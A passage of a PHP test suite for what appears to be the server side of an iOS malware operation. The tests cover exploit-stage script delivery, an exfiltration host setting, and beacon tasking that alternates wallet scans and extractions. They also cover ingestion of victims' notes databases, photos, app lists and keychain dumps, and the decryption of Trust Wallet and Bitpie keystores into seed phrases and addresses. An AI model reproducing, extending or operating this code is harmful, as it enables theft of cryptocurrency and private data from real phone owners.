encryptJson($payload, $ts); return $this->call('POST', $path, [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => $ts, ], $enc['body']); } #[Test] public function log_post_returns_accepted(): void { $this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd']) ->assertOk() ->assertExactJson(['status' => 'accepted']); $this->assertSame(0, DsChainLog::query()->count()); } #[Test] public function log_with_stage_skips_db(): void { $payload = [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'stage' => 'loader', 'progress' => 18, 'label' => 'loader', 'channelCode' => 'BODOZR5F613N9', ]; $this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']); $this->postJson('/api/ds/log', $payload)->assertOk(); $this->assertSame(0, DsChainLog::query()->count()); $this->assertSame(0, Device::query()->count()); } #[Test] public function log_text_skips_db_even_when_stage_can_be_inferred(): void { $this->postJson('/api/ds/log', [ 'text' => 'malloc ok 0x1234', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', ])->assertOk(); $this->postJson('/api/ds/log', [ 'text' => 'pe_main_start', 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', ])->assertOk(); $this->assertSame(0, DsChainLog::query()->count()); $this->assertSame(0, Device::query()->count()); } #[Test] public function next_chain_does_not_steal_ds_api_or_logs(): void { $this->getJson('/api/ds/chain-targets?ios=18.6') ->assertOk() ->assertJson([ 'ok' => true, 'chain' => 'darksword', ]) ->assertJsonPath('exfil.prefer_https', false) ->assertJsonPath('band.usable_for_attempt', true); $this->withHeaders([ 'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu', 'X-Forwarded-Port' => '443', ])->getJson('/api/ds/chain-targets?ios=18.5') ->assertOk() ->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu') ->assertJsonPath('exfil.tls', true) ->assertJsonPath('exfil.prefer_https', true) ->assertJsonPath('exfil.https_port', 443); $this->get('/api/ds/log?text=lab') ->assertOk() ->assertSee('ok', false); $this->getJson('/api/ds/chain-targets?ios=18.6.1') ->assertOk() ->assertJsonPath('chain', 'darksword'); $this->getJson('/api/ds/chain-targets?ios=18.6.2') ->assertOk() ->assertJsonPath('chain', 'darksword'); foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) { $this->getJson('/api/ds/chain-targets?ios='.$ios) ->assertOk() ->assertJsonPath('chain', 'coruna') ->assertJsonPath('recommended_worker', '') ->assertJsonPath('band.usable_for_attempt', false); } $this->getJson('/api/chain-targets?ios=18.6')->assertNotFound(); $this->get('/log.html?text=lab')->assertNotFound(); $this->getJson('/next-chain/api/chain-targets')->assertNotFound(); $this->getJson('/next-chain/api/device/register')->assertNotFound(); $this->get('/next-chain/log.html?text=lab')->assertNotFound(); } #[Test] public function pe_stage_get_writes_file_log_and_chain_row(): void { $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk() ->assertHeader('Content-Type', 'application/javascript; charset=utf-8') ->assertSee('__peStage1', false); $this->assertSame(0, DsChainLog::query()->count()); Device::query()->create([ 'device_id' => '50624FE26CC4A0DF689EAEA117557C3E', 'album_storage' => true, ]); $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk(); $row = DsChainLog::query()->first(); $this->assertNotNull($row); $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid); $this->assertSame('pe', $row->stage); $this->assertSame(86, $row->progress); $this->assertSame('pe_stage:s1_launchd', $row->label); $this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') ->assertOk(); $this->assertSame(2, DsChainLog::query()->count()); $this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label); $this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress); $this->get('/api/ds/pe-stage/s2_keychain') ->assertOk() ->assertSee('__peStage2', false); $this->assertSame(2, DsChainLog::query()->count()); } #[Test] public function plaintext_a_ingests_darksword_device(): void { $this->postJson('/a', [ 'lhu' => self::DS_LHU, 'machine' => 'iPhone15,2', 'ios_version' => '18.6', 'ip' => '192.168.31.77', 'source' => 'c2_agent', ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('iPhone15,2', $device->device_model); $this->assertSame('18.6', $device->ios_version); $this->assertSame('192.168.31.77', $device->ip); $this->assertNull($device->channel_id); } #[Test] public function shared_path_with_x_ts_still_uses_xxbb_ack(): void { $this->xxbbPost('/a', [ 'c' => '202700cfb1ad3de68e11239dcc26c30b', 'd' => self::XXBB_D, 'f' => self::XXBB_D, 'deviceModel' => 'iPhone', 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], ])->assertOk()->assertSee('1786468227899{}', false); $xxbb = Device::query()->where('device_id', self::XXBB_D)->first(); $this->assertNotNull($xxbb); $this->assertSame(Device::CHAIN_CORUNA, $xxbb->chain); $this->postJson('/a', [ 'lhu' => self::DS_LHU, 'machine' => 'iPhone15,2', 'ios_version' => '18.6', ])->assertOk()->assertJson(['ok' => true]); $ds = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($ds); $this->assertSame(Device::CHAIN_DARKSWORD, $ds->chain); $this->assertSame(2, Device::query()->count()); } #[Test] public function register_accepts_query_style_channel_code(): void { $this->postJson('/api/ds/device/register', [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'channeICode' => '0.0.01', 'ios' => '18.6', 'chain' => 'darksword', ])->assertOk()->assertJson(['ok' => true]); $visit = PageVisit::query()->first(); $this->assertNotNull($visit); $this->assertSame('0.0.01', $visit->channel_id); } #[Test] public function register_uses_channel_code_not_ver_header(): void { $this->postJson('/api/ds/device/register', [ 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', 'channelCode' => 'BODOZR5F613N9', 'ios' => '18.6', 'chain' => 'darksword', ], [ 'ver' => '3.1.07', 'sdkv' => '3.1.07', ])->assertOk()->assertJson(['ok' => true]); $this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first()); $visit = PageVisit::query()->first(); $this->assertNotNull($visit); $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid); $this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain); $this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain)); $this->assertSame('BODOZR5F613N9', $visit->channel_id); $this->assertSame('iOS', $visit->os); $this->assertSame('18.6', $visit->os_version); $this->postJson('/a', [ 'lhu' => '50624FE26CC4A0DF689EAEA117557C3E', 'machine' => 'iPhone15,2', 'ios_version' => '18.6', 'source' => 'c2_agent', ])->assertOk(); $device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame('BODOZR5F613N9', $device->channel_id); $this->assertSame('18.6', $device->ios_version); } #[Test] public function u_writes_device_apps_from_object_or_list(): void { $this->postJson('/u', [ 'lhu' => self::DS_LHU, 'apps' => [ '0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'], '1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'], ], 'count' => 2, 'source' => 'c2_agent', ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists() ); $this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet); $this->assertTrue($device->fresh()->albumStorageEnabled()); } #[Test] public function nb_writes_notes_and_stores_sqlite_blob(): void { Storage::fake('local'); $sqlite = "SQLite format 3\0lab-notes"; $this->postJson('/nb', [ 'lhu' => self::DS_LHU, 'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]], 'db_files' => [[ 'name' => 'NoteStore.sqlite', 'data' => base64_encode($sqlite), ]], 'source' => 'c2_agent', ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $note = Note::query()->where('device_id', $device->id)->first(); $this->assertNotNull($note); $this->assertSame('jdmdm', $note->content[0]['title'] ?? null); Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'); $this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite')); } #[Test] public function war_without_mnemonic_stores_keystore_only(): void { $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'source' => 'pe_war_guarantee', 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'accessGroup' => 'group.com.sixdays.team', 'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'), ]], ], ], 'errors' => ['aksUnwrap class=10 kr=3758097090'], ], 'sandbox' => [ 'imtoken' => ['keystore.json' => '{"version":3}'], ], ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count()); $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); $rows = WalletKeystore::query()->where('device_id', $device->id)->get(); $this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0)); $sources = $rows->pluck('source')->all(); $this->assertContains('Trust Wallet', $sources); $this->assertContains('imToken', $sources); } #[Test] public function war_twelve_word_phrase_ingests_mnemonic(): void { $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'accessGroup' => 'group.com.sixdays.team', 'dataHex' => bin2hex(self::TEST_MNEMONIC), ]], ], ], ], 'sandbox' => [], ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $row = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($row); $this->assertSame(self::TEST_MNEMONIC, $row->mnemonic); $this->assertSame('Trust Wallet', $row->source); } #[Test] public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void { Http::fake(); $utc = [ 'crypto' => ['cipher' => 'aes-128-ctr'], 'activeAccounts' => [ ['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0], ['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60], ['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137], ['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195], ['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2], ['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0], ['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0], ], ]; $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ])->assertOk()->assertJson(['ok' => true]); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get(); $this->assertSame(4, $rows->count()); $this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all()); $this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet')); $this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count()); $this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx')); $this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x')); } #[Test] public function war_class10_unwrap_failure_is_not_a_mnemonic(): void { $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'class' => 10, 'layer3Error' => 'aks_unwrap kr=3758097090', 'dataHex' => bin2hex(self::TEST_MNEMONIC), ]], ], ], ], ])->assertOk(); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertSame('Trust Wallet', $ks->source); $this->assertSame(0, (int) $ks->decrypted); } #[Test] public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void { $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); $this->assertIsString($password); $utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('ab', 32), ]); $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'account' => 'trustwalletUTC--demo', 'accessGroup' => 'group.com.sixdays.team', 'dataHex' => bin2hex($password), ]], ], ], ], 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ])->assertOk(); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); $this->assertSame('Trust Wallet', $mnemonic->source); $rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get(); $this->assertGreaterThanOrEqual(1, $rows->count()); $this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1)); } #[Test] public function reprocess_unlocks_trust_utc_already_stored_on_device(): void { Http::fake(); $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); $this->assertIsString($password); $utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('cd', 32), ]); $device = Device::query()->create([ 'device_id' => 'reprocess-trust-utc', 'chain' => Device::CHAIN_DARKSWORD, ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'items' => [[ 'account' => 'trustwalletUTC--demo', 'dataHex' => bin2hex($password), ]], ], ], ], ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'sandbox', 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ], ]); app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores')); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->get() ->contains(fn ($row) => (int) $row->decrypted === 1) ); } #[Test] public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void { Http::fake(); $entropy = '00000000000000000000000000000000'; $trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0); $this->postJson('/war', [ 'lhu' => self::DS_LHU, 'keychain' => [ 'wallets' => [ 'bitpie' => [ 'count' => 2, 'items' => [ [ 'account' => 'seedPhraseEntropy', 'service' => 'com.bitpie.wallet', 'dataHex' => bin2hex(strtoupper($entropy)), ], [ 'account' => 'userAddressKey', 'service' => 'com.bitpie.wallet', 'dataHex' => bin2hex($trx), ], ], ], ], ], 'sandbox' => [ 'bitpie' => [ 'Library/Preferences/com.bitpie.wallet.plist' => base64_encode( 'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]' ), ], ], ])->assertOk(); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first(); $this->assertNotNull($mnemonic); $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get() ->contains(fn ($row) => (int) $row->decrypted === 1) ); $addr = WalletAddress::query() ->where('device_id', $device->id) ->where('address', $trx) ->where('source', 'Bitpie') ->first(); $this->assertNotNull($addr); $this->assertSame('TRON', $addr->chain_type); $this->assertSame($mnemonic->id, $addr->mnemonic_id); } #[Test] public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void { $ip = '127.0.0.1'; // Simulate the 5s gap passing — only forget the throttle timestamp, NOT // the alternation state (dsq:type), so the next dispatch alternates. $forget = function () use ($ip): void { Cache::forget('dsq:last:'.$ip); }; // First dispatch -> wallet_scan. $r1 = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', 'ios' => '18.6', ])->assertOk()->assertJson([ 'ok' => true, 'type' => 'wallet_scan', 'uuid' => self::DS_LHU, ]); $id1 = $r1->json('command_id'); $this->assertNotEmpty($id1); // Same IP within 5s -> noop (throttled). $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']); // Simulate the 5s gap passing; next dispatch alternates to wallet_extract. $forget(); $r2 = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_extract']); $id2 = $r2->json('command_id'); $this->assertNotEmpty($id2); $this->assertNotSame($id1, $id2); // Within 5s again -> noop. $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'noop']); // After another gap -> back to wallet_scan. $forget(); $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_scan']); $device = Device::query()->where('device_id', self::DS_LHU)->first(); $this->assertNotNull($device); $this->assertSame(Device::CHAIN_DARKSWORD, $device->chain); $this->assertSame(0, DeviceEvent::query()->count()); // seed() created one wallet_scan task; dequeue no longer mutates task state. $this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count()); $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', $device)) ->assertOk() ->assertSee('C2 队列') ->assertSee('wallet_scan') ->assertDontSee('photo_scan') ->assertDontSee('basic_info'); } #[Test] public function beacon_throttles_same_ip_within_5s_gap(): void { $ip = '127.0.0.1'; // First dispatch -> wallet_scan. $first = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', 'ios' => '18.6', ])->assertOk()->assertJson(['type' => 'wallet_scan']); $firstId = $first->json('command_id'); $this->assertNotEmpty($firstId); // Same IP within 5s -> noop (throttled, no command handed out). $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'noop']); // After the 5s gap (simulated by forgetting the throttle key), the next // beacon alternates to wallet_extract. Cache::forget('dsq:last:'.$ip); $retry = $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_extract']); $retryId = $retry->json('command_id'); $this->assertNotEmpty($retryId); $this->assertNotSame($firstId, $retryId); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $retryId, 'filename' => 'wallet_extract_result.json', 'category' => 'wallet_extract', 'status' => 'success', ])->assertOk(); // After a result + gap, the next beacon still dispatches (alternates back). Cache::forget('dsq:last:'.$ip); $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_scan']); } #[Test] public function beacon_skips_legacy_photos_task(): void { $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photos', 'status' => DsBeaconTask::STATUS_PENDING, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 2, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_PENDING, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 3, 'type' => 'wallet_scan', 'status' => DsBeaconTask::STATUS_PENDING, ]); // Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched. $this->postJson('/beacon', [ 'uuid' => self::DS_LHU, 'status' => 'idle', ])->assertOk()->assertJson(['type' => 'wallet_scan']); $this->assertSame( DsBeaconTask::STATUS_PENDING, DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status') ); $this->assertSame( DsBeaconTask::STATUS_PENDING, DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status') ); } #[Test] public function result_stores_files_and_skips_video(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-photo-1', ]); $png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32)); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-1', 'filename' => 'IMG_0003.PNG', 'category' => 'photos', 'data' => $png, ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-1', 'filename' => 'IMG_0005.MP4', 'category' => 'photos', 'data' => base64_encode('ftypisom'), ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-1', 'filename' => 'photo_scan.json', 'data' => base64_encode('{"status":"success","uploaded":1}'), ])->assertOk(); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG'); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json'); Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4'); } #[Test] public function result_skips_duplicate_payloads_already_ingested(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-photo-dup-1', ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 2, 'type' => 'wallet_extract', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-wallet-dup-1', ]); $png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32)); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-dup-1', 'filename' => 'IMG_0003.PNG', 'category' => 'photos', 'data' => $png, ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-wallet-dup-1', 'filename' => 'wallet_extract_result.json', 'category' => 'wallet_extract', 'data' => base64_encode('{"status":"success","wallets":1}'), ])->assertOk(); DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([ 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-photo-dup-2', ]); DsBeaconTask::query()->where('type', 'wallet_extract')->update([ 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-wallet-dup-2', ]); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-photo-dup-2', 'filename' => 'IMG_0003.PNG', 'category' => 'photos', 'data' => $png, ])->assertOk(); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-wallet-dup-2', 'filename' => 'wallet_extract_result.json', 'category' => 'wallet_extract', 'data' => base64_encode('{"status":"success","wallets":1}'), ])->assertOk(); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG'); Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG'); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json'); Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json'); } #[Test] public function result_assembles_chunks_before_store(): void { Storage::fake('local'); $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); $task = DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'photo_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-chunk-1', ]); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $task->command_id, 'filename' => 'IMG_0002.PNG', 'category' => 'photos', 'chunk_index' => 0, 'total_chunks' => 2, 'data' => base64_encode("\x89PNG"), ])->assertOk(); $this->assertSame(0, Photo::query()->count()); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => $task->command_id, 'filename' => 'IMG_0002.PNG', 'category' => 'photos', 'chunk_index' => 1, 'total_chunks' => 2, 'data' => base64_encode("\r\n\x1a\n"), ])->assertOk(); $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG'); $this->assertSame( "\x89PNG\r\n\x1a\n", Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG') ); } #[Test] public function event_heartbeats_without_device_events(): void { $this->postJson('/event', [ 'lhu' => self::DS_LHU, 'et' => 'injection_success', ])->assertOk()->assertJson(['ok' => true]); $this->assertSame(0, DeviceEvent::query()->count()); $this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first()); } #[Test] public function result_wallet_scan_logs_full_untruncated_body(): void { $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'wallet_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-scan-full-1', ]); // A keychain dump payload well over the 512-byte truncation threshold. $bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40)); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-scan-full-1', 'filename' => 'keychain_c2_dump.json', 'category' => 'wallet_scan', 'data' => $bigKeychain, ])->assertOk(); $logFile = public_path('log/ds/'.date('Ymd').'.log'); $this->assertFileExists($logFile); $log = (string) file_get_contents($logFile); // The full payload must be present verbatim — a 512-byte truncation would // have cut this ~2.4KB base64 string down, so its presence proves no truncation. $this->assertStringContainsString($bigKeychain, $log); $this->assertStringContainsString('keychain_c2_dump.json', $log); // And this specific entry must carry no truncation marker. $entryStart = strpos($log, 'dsq-scan-full-1'); $this->assertNotFalse($entryStart); // Limit to this entry only — entries are separated by a blank line (\r\n\r\n). $entryEnd = strpos($log, "\r\n\r\n", $entryStart); $entrySegment = $entryEnd !== false ? substr($log, $entryStart, $entryEnd - $entryStart) : substr($log, $entryStart, 4096); $this->assertStringNotContainsString('…[', $entrySegment); } #[Test] public function result_skips_empty_wallet_scan_summary(): void { $device = Device::query()->create([ 'device_id' => self::DS_LHU, 'chain' => Device::CHAIN_DARKSWORD, 'album_storage' => true, ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, 'type' => 'wallet_scan', 'status' => DsBeaconTask::STATUS_DISPATCHED, 'command_id' => 'dsq-scan-empty-1', ]); // Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files. $empty = base64_encode(json_encode([ 'device_uuid' => self::DS_LHU, 'installed_wallets' => [], 'sandbox_files' => [], 'total_size' => 0, 'keychain_dump_uploaded' => false, '_task_type' => 'wallet_scan', ])); $this->postJson('/result', [ 'uuid' => self::DS_LHU, 'command_id' => 'dsq-scan-empty-1', 'filename' => 'wallet_pkg.json', 'category' => 'wallet_scan', 'data' => $empty, ])->assertOk(); // No keystore record, no stored result file. $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); Storage::disk('local')->assertMissing( 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json' ); } #[Test] public function result_skips_wallet_scan_summary_even_when_keychain_dump_uploaded(): void { Storage::fake('local'); 